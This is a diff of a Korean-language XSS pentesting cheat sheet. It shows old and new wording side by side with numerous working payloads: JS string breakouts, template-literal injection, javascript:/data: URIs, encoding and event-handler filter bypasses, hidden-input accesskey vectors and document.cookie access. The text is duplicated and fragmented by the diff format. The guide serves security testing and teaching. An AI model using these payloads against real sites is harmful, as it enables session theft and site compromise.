* **JS 문자열 내부**에 반영되고 마지막 트릭이 작동하지 않는 경우 문자열을 **종료**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않음):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\'-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* 템플릿 리터럴 내에 반영된 경우 `${ ... }` 구문을 사용하여 JS 표현식을 **포함**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **유니코드 인코딩**을 사용하여 **유효한 javascript 코드**를 작성할 수 있습니다:
|
||||
```javascript
|
||||
|
@ -88,7 +88,7 @@ Angular가 클래스 이름을 제어하는 경우 이상한 예제:
|
|||
```
|
||||
#### 자바스크립트 호이스팅
|
||||
|
||||
자바스크립트 호이스팅은 **사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\
|
||||
자바스크립트 호이스팅은 **사용된 이후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\
|
||||
**더 많은 정보를 보려면 다음 페이지를 확인하세요:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -99,13 +99,13 @@ Angular가 클래스 이름을 제어하는 경우 이상한 예제:
|
|||
|
||||
여러 웹 페이지는 **실행할 함수의 이름을 매개변수로 받는** 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 `?callback=callbackFunc`와 같습니다.
|
||||
|
||||
사용자에 의해 직접 제공된 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 찾는 것입니다:
|
||||
사용자가 직접 제공한 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 찾는 것입니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
취약하다면, **`?callback=alert(1)`**과 같은 값을 보내어 **경고를 트리거**할 수 있을 수 있습니다. 그러나 이러한 엔드포인트는 보통 이러한 내용을 **검증하여 문자, 숫자, 점 및 밑줄만 허용**할 수 있습니다 (**`[\w\._]`**).
|
||||
취약하다면, 값으로 **`?callback=alert(1)`**을 보내어 **경고를 트리거**할 수 있을 것입니다. 그러나 이러한 엔드포인트는 **콘텐츠를 유효성 검사**하여 문자, 숫자, 점 및 밑줄만 허용할 수 있도록 할 것입니다 (**`[\w\._]`**).
|
||||
|
||||
그러나 그 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다:
|
||||
그러나 그 제한이 있더라도 여전히 몇 가지 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (747).png>)
|
||||
|
||||
|
@ -117,11 +117,11 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
당신은 직접 **Javascript 함수를 트리거**해 볼 수도 있습니다: `obj.sales.delOrders`.
|
||||
당신은 **Javascript 함수를 트리거**할 수도 있습니다: `obj.sales.delOrders`.
|
||||
|
||||
그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 없는 엔드포인트일 것이며, **동일 출처의 다른 페이지**는 **더 흥미로운 DOM**을 가지고 더 많은 작업을 수행할 수 있습니다.
|
||||
|
||||
따라서, **다른 DOM에서 이 취약점을 악용**하기 위해 **동일 출처 메서드 실행 (SOME)** 공격이 개발되었습니다:
|
||||
따라서 **다른 DOM에서 이 취약점을 악용**하기 위해 **동일 출처 방법 실행 (SOME)** 공격이 개발되었습니다:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -137,7 +137,7 @@ parentElement
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
이러한 종류의 XSS는 **어디서나** 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE** 획득, 클라이언트 및 서버에서 **임의의 파일 읽기** 등을 위해 악용될 수 있습니다.\
|
||||
이러한 종류의 XSS는 **어디서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 측 공격뿐만 아니라 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나, 클라이언트 및 서버에서 **임의의 파일을 읽을 수 있도록 악용**될 수 있습니다.\
|
||||
일부 **예시**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -154,23 +154,23 @@ parentElement
|
|||
|
||||
## 원시 HTML 내부 삽입
|
||||
|
||||
당신의 입력이 **HTML 페이지 내에 반영**되거나 이 문맥에서 HTML 코드를 이스케이프하고 삽입할 수 있는 경우, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**하고 HTML이 인코딩되었는지 또는 삭제되었는지 또는 **변경 없이 반영**되는지 확인해보세요. **마지막 경우에만 이 케이스를 악용할 수 있을 것입니다**.\
|
||||
이 경우에는 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
당신의 입력이 **HTML 페이지 내에 반영**되거나 이 문맥에서 HTML 코드를 탈출하고 삽입할 수 있는 경우, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**하고 HTML이 인코딩되었는지 또는 삭제되었는지 또는 **변경 없이 반영**되는지 확인하십시오. **마지막 경우에만 이 케이스를 악용할 수 있습니다**.\
|
||||
이 경우에는 블랙/화이트리스트가 사용되지 않았다면, 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
하지만, 태그/속성 블랙/화이트리스트가 사용되고 있다면, 만들 수 있는 **태그를 무차별 대입(brute-force)** 해야 합니다.\
|
||||
**허용된 태그를 찾은 후**, 발견한 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)** 해서 어떻게 공격할 수 있는지 확인해야 합니다.
|
||||
하지만, 태그/속성 블랙/화이트리스트가 사용 중이라면, 만들 수 있는 **태그를 무차별 대입(brute-force)** 해야 합니다.\
|
||||
**허용된 태그를 찾은 후**, 발견한 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)** 해야 합니다. 이를 통해 어떻게 공격할 수 있는지 확인할 수 있습니다.
|
||||
|
||||
### 태그/이벤트 무차별 대입
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**Copy tags to clipboard**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입(brute-force)** 할 수 있습니다 (동일한 웹 페이지에서 _**Copy events to clipboard**_를 클릭하고 이전과 동일한 절차를 따릅니다).
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**태그 복사**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입**할 수 있습니다(동일한 웹 페이지에서 _**이벤트 복사**_를 클릭하고 이전과 동일한 절차를 따릅니다).
|
||||
|
||||
### 사용자 정의 태그
|
||||
|
||||
유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내어 페이지가 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록 해야 합니다:
|
||||
유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행할 수 있습니다. XSS 요청에서 URL을 `#`로 끝내어 페이지가 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록 해야 합니다:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -229,7 +229,7 @@ onerror=alert`1`
|
|||
### 길이 우회 (작은 XSSs)
|
||||
|
||||
{% hint style="info" %}
|
||||
**다양한 환경을 위한 더 작은 XSS** 페이로드는 [여기](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [여기](https://tinyxss.terjanq.me)에서 찾을 수 있습니다.
|
||||
**다양한 환경을 위한 더 작은 XSS** payload는 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -239,18 +239,18 @@ onerror=alert`1`
|
|||
```
|
||||
### 클릭 XSS - 클릭재킹
|
||||
|
||||
만약 취약점을 악용하기 위해 **사용자가 링크나 폼을 클릭해야 하는 경우** 사전에 데이터가 채워진 링크나 폼을 클릭하도록 유도할 수 있습니다. [**클릭재킹을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
|
||||
만약 취약점을 악용하기 위해 **사용자가 링크나 폼을 클릭해야 하는 경우** 미리 채워진 데이터가 있는 [**클릭재킹을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
|
||||
|
||||
### 불가능 - 댕글마크업
|
||||
### 불가능 - 떨어진 마크업
|
||||
|
||||
만약 **HTML 태그에 JS 코드를 실행할 속성을 만들 수 없다고 생각한다면**, [**댕글마크업**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS 코드를 실행하지 않고도** 취약점을 **악용**할 수 있기 때문입니다.
|
||||
만약 **HTML 태그를 사용하여 JS 코드를 실행하는 속성을 만들 수 없다고 생각한다면**, [**떨어진 마크업**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS 코드를 실행하지 않고도** 취약점을 **악용**할 수 있기 때문입니다.
|
||||
|
||||
## HTML 태그 내부에 주입
|
||||
## HTML 태그 내부에 주입하기
|
||||
|
||||
### 태그 내부/속성 값에서 탈출
|
||||
|
||||
만약 **HTML 태그 내부에 있다면**, 먼저 태그에서 **탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.\
|
||||
태그에서 **탈출할 수 없다면**, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어, 이 예제에서는 더블 쿼트를 사용하여 속성에서 탈출합니다 (입력이 태그 내부에 직접 반영되는 경우 더블 쿼트가 필요하지 않습니다):
|
||||
만약 **태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 이중 따옴표를 사용하여 속성에서 탈출합니다. 입력이 태그 내부에 직접 반영되는 경우 이중 따옴표가 필요하지 않습니다_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -267,7 +267,7 @@ onerror=alert`1`
|
|||
```
|
||||
### 속성 내부
|
||||
|
||||
속성에서 **탈출할 수 없더라도** (`"`가 인코딩되거나 삭제됨), 제어하는 값이 **전체인지 일부인지에 따라** 해당 값이 반영된 **어떤 속성**인지에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행시킬 수 있습니다.\
|
||||
속성에서 **탈출할 수 없더라도** (`"`가 인코딩되거나 삭제됨) 제어하는 값이 **전체인지 일부인지에 따라** 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어할 경우 클릭할 때 임의의 코드를 실행할 수 있습니다.\
|
||||
또 다른 흥미로운 **예시**는 `href` 속성인데, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회**
|
||||
|
@ -303,7 +303,7 @@ HTML 태그 속성 값 내의 **HTML 인코딩된 문자**는 **런타임에서
|
|||
```
|
||||
### 특수 프로토콜 속성 내부
|
||||
|
||||
거기에서는 일부 위치에서 **임의의 JS 코드를 실행**하기 위해 **`javascript:`** 또는 **`data:`** 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로하며 일부는 그렇지 않을 수 있습니다.
|
||||
거기서 일부 위치에서 **임의의 JS 코드를 실행**하기 위해 **`javascript:`** 또는 **`data:`** 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로 할 수도 있고, 일부는 그렇지 않을 수도 있습니다.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**이러한 프로토콜을 삽입할 수 있는 위치**
|
||||
|
||||
**일반적으로** `javascript:` 프로토콜은 `href` 속성을 허용하는 **모든 태그에서 사용할 수 있으며**, 대부분의 태그에서는 **`src` 속성을 허용하지만** (`<img` 제외)
|
||||
**일반적으로** `javascript:` 프로토콜은 `href` 속성을 허용하는 **모든 태그에서 사용할 수 있으며**, 대부분의 태그에서는 **`src` 속성을 허용하는 대부분의 태그에서** 사용할 수 있습니다 (하지만 `<img`는 제외).
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -357,11 +357,11 @@ _**이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코
|
|||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
참고로 페이로드를 인코딩하기 위해 URLencode + HTMLencode를 어떤 순서로든 사용하려고 하면 작동하지 않지만, 페이로드 내에서 그들을 섞어 사용할 수 있습니다.
|
||||
참고로, **URLencode + HTMLencode**을 **어떤 순서로든 사용하여** **페이로드**를 인코딩하려고 하면 **작동하지 않을 것**이지만, **페이로드 내에서 둘을 섞을 수는** 있습니다.
|
||||
|
||||
`javascript:`와 함께 **Hex** 및 **Octal 인코딩**을 사용하는 방법
|
||||
**`javascript:`와 함께 16진수 및 8진수 인코딩 사용하기**
|
||||
|
||||
`iframe`의 `src` 속성 내에서 **HTML 태그를 실행**하기 위해 **Hex** 및 **Octal 인코딩**을 사용할 수 있습니다:
|
||||
`iframe`의 `src` 속성 내에서 **16진수** 및 **8진수 인코딩**을 사용하여 **JS를 실행할 HTML 태그를 선언**할 수 있습니다:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -385,8 +385,8 @@ _**이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코
|
|||
|
||||
### 이벤트 핸들러 우회
|
||||
|
||||
먼저 유용한 **"on" 이벤트 핸들러**에 대해 이 페이지([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하십시오.\
|
||||
이벤트 핸들러를 생성하는 것을 방지하는 블랙리스트가 있는 경우 다음 우회 방법을 시도할 수 있습니다.
|
||||
우선 유용한 **"on" 이벤트 핸들러**에 대해 이 페이지([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하십시오.\
|
||||
이벤트 핸들러를 생성하는 것을 방지하는 블랙리스트가 있는 경우 다음 우회 방법을 시도할 수 있습니다:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### "Unexploitable tags"에서의 XSS (숨겨진 입력, 링크, 캐노니컬, 메타)
|
||||
### "Unexploitable tags" (hidden input, link, canonical, meta)에서의 XSS
|
||||
|
||||
[**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **에서 숨겨진 입력을 악용하는 것이 이제 가능합니다:**
|
||||
[**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)에서 **이제 숨겨진 입력을 악용할 수 있습니다:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -416,7 +416,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **피해자**를 **설득**하여 **키 조합**을 누르도록 유도할 수 있다면, **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있습니다. Firefox Windows/Linux에서는 **ALT+SHIFT+X**이고 OS X에서는 **CTRL+ALT+X**입니다. 다른 키 조합을 지정할 수 있으며, 이를 위해 액세스 키 속성에서 다른 키를 사용할 수 있습니다. 다음은 벡터입니다:
|
||||
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **피해자**를 **설득**하여 **키 조합**을 누르도록 유도할 수 있다면, **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있습니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이며, OS X에서는 **CTRL+ALT+X**입니다. 액세스 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 다음은 벡터입니다:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### 블랙리스트 우회
|
||||
|
||||
이 섹션에서 이미 다양한 인코딩을 사용한 여러 트릭이 노출되었습니다. 다음 위치에서 사용할 수 있는 곳을 알아보기 위해 **돌아가세요:**
|
||||
이 섹션에서 이미 다양한 인코딩을 사용한 여러 트릭이 노출되었습니다. 다음 위치에서 사용할 수 있는 곳을 배우러 **돌아가세요:**
|
||||
|
||||
* **HTML 인코딩 (HTML 태그)**
|
||||
* **유니코드 인코딩 (유효한 JS 코드가 될 수 있음):** `\u0061lert(1)`
|
||||
|
@ -438,15 +438,15 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
**JavaScript 코드 우회**
|
||||
|
||||
다음 섹션의 [자바스크립트 블랙리스트 우회 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요.
|
||||
다음 섹션의 [자바스크립트 우회 블랙리스트 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요.
|
||||
|
||||
### CSS-가젯
|
||||
|
||||
웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터에 있는 onmouseover 요소가 있는 작은 링크), 해당 요소가 차지하는 공간을 최대화하여 링크가 실행될 확률을 높일 수 있습니다.
|
||||
웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터에 있는 작은 링크에 onmouseover 요소가 있는 경우), 해당 요소가 차지하는 공간을 **최대화**하여 링크가 실행될 확률을 높일 수 있습니다.
|
||||
|
||||
예를 들어, 다음과 같이 요소에 몇 가지 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
그러나 WAF가 스타일 속성을 필터링하는 경우 CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어 다음과 같은 것을 찾았다면
|
||||
그러나 WAF가 스타일 속성을 필터링하는 경우 CSS 스타일링 가젯을 사용할 수 있습니다. 따라서, 예를 들어 다음과 같은 것을 찾았다면
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -458,11 +458,11 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
이 트릭은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다.
|
||||
이 요령은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다.
|
||||
|
||||
## JavaScript 코드 내부에 삽입
|
||||
|
||||
이 경우에는 **입력**이 `.js` 파일의 JS 코드 내부에 반영되거나 `<script>...</script>` 태그 사이에 있거나 JS 코드를 실행할 수 있는 HTML 이벤트 사이에 있거나 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다.
|
||||
이 경우 **입력**은 `.js` 파일이나 `<script>...</script>` 태그 사이 또는 JS 코드를 실행할 수 있는 HTML 이벤트 사이 또는 `javascript:` 프로토콜을 허용하는 속성 사이의 JS 코드 내에 **반영**될 것입니다.
|
||||
|
||||
### \<script> 태그 이스케이핑
|
||||
|
||||
|
@ -470,9 +470,9 @@ Android: %09 %20 %28 %2C %3B
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
이 예에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행**되기 때문인데, 이는 페이지 요소를 식별하는 것을 포함하여 스크립트 블록을 식별하는 것을 의미합니다. 중첩된 스크립트를 이해하고 실행하기 위한 JavaScript의 파싱은 그 후에 수행됩니다.
|
||||
이 예제에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행**되기 때문인데, 이는 스크립트 블록을 포함한 페이지 요소를 식별하는 과정을 포함합니다. 자바스크립트의 파싱은 내장 스크립트를 이해하고 실행하는 것이 그 후에 이루어집니다.
|
||||
|
||||
### JS 코드 내부
|
||||
### 자바스크립트 코드 내부
|
||||
|
||||
`<>`가 살균되고 있다면 입력이 **위치한 곳에서 문자열을 이스케이프**하고 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**한데, 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다.
|
||||
```
|
||||
|
@ -482,10 +482,10 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### 템플릿 리터럴 \`\`
|
||||
|
||||
**문자열**을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 **역따옴표** **\` \`\`** 를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 실행할 수 있습니다.\
|
||||
따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것을 발견하면 `${ ... }` 구문을 남용하여 **임의의 JS 코드**를 실행할 수 있습니다:
|
||||
**문자열**을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 **역따옴표** **\` \`\` \`**를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 실행할 수 있습니다.\
|
||||
따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것으로 판명되면 `${ ... }` 구문을 남용하여 **임의의 JS 코드**를 실행할 수 있습니다:
|
||||
|
||||
다음을 사용하여 **악용**할 수 있습니다:
|
||||
이를 이용하여 다음과 같이 남용할 수 있습니다:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -542,12 +542,12 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
'\t' //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**JS 코드 내의 공백 대체**
|
||||
**JS 코드 내에서 공백 대체**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**자바스크립트 주석 (from** [**JavaScript Comments**](./#javascript-comments) **트릭)**
|
||||
**JavaScript 주석 (from** [**JavaScript Comments**](./#javascript-comments) **트릭)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -734,23 +734,23 @@ top[8680439..toString(30)](1)
|
|||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
거기에서는 **DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용하는지에 대한 자세한 설명**을 찾을 수 있습니다.\
|
||||
또한, **언급된 게시물의 끝에서** [**DOM Clobbering 공격에 대한 설명**](dom-xss.md#dom-clobbering)을 찾을 수 있습니다.
|
||||
거기에서는 **DOM 취약점이 무엇이며, 어떻게 유발되며, 어떻게 악용하는지에 대한 자세한 설명**을 찾을 수 있습니다.\
|
||||
또한, **언급된 게시물의 끝 부분에** [**DOM Clobbering 공격에 대한 설명**](dom-xss.md#dom-clobbering)을 찾을 수 있습니다.
|
||||
|
||||
## 다른 우회 방법
|
||||
|
||||
### 정규화된 유니코드
|
||||
|
||||
**반사된 값**이 서버(또는 클라이언트 측)에서 **유니코드 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting).
|
||||
서버(또는 클라이언트 측)에서 **반사된 값이 유니코드로 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL 플래그 우회
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### 루비 온 레일즈 우회
|
||||
### 루비 온 레일 우회
|
||||
|
||||
**RoR 대량 할당**으로 인해 따옴표가 HTML에 삽입되고 그런 다음 따옴표 제한이 우회되어 태그 내에 추가 필드 (onfocus)를 추가할 수 있습니다.\
|
||||
예시 폼 ([이 보고서에서](https://hackerone.com/reports/709336) 가져옴), 페이로드를 보내면:
|
||||
예시 양식 ([이 보고서에서](https://hackerone.com/reports/709336))에서 페이로드를 보내면:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -788,20 +788,20 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 302 응답에서 헤더 주입을 사용한 XSS
|
||||
### 302 응답에서 헤더 주입을 이용한 XSS
|
||||
|
||||
만약 **302 Redirect 응답에서 헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록 시도**할 수 있습니다. 이는 현대 브라우저가 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에 **쉽지 않습니다**. 따라서 단순한 크로스 사이트 스크립팅 페이로드는 쓸모가 없습니다.
|
||||
만약 **302 Redirect 응답에서 헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록 시도**할 수 있습니다. 현대의 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순히 크로스사이트 스크립팅 페이로드만으로는 쓸모가 없습니다.
|
||||
|
||||
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인할 수 있습니다.\
|
||||
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고, 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인할 수 있습니다.\
|
||||
과거 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
|
||||
|
||||
### 문자, 숫자 및 점만 허용
|
||||
### 문자, 숫자, 점만 허용
|
||||
|
||||
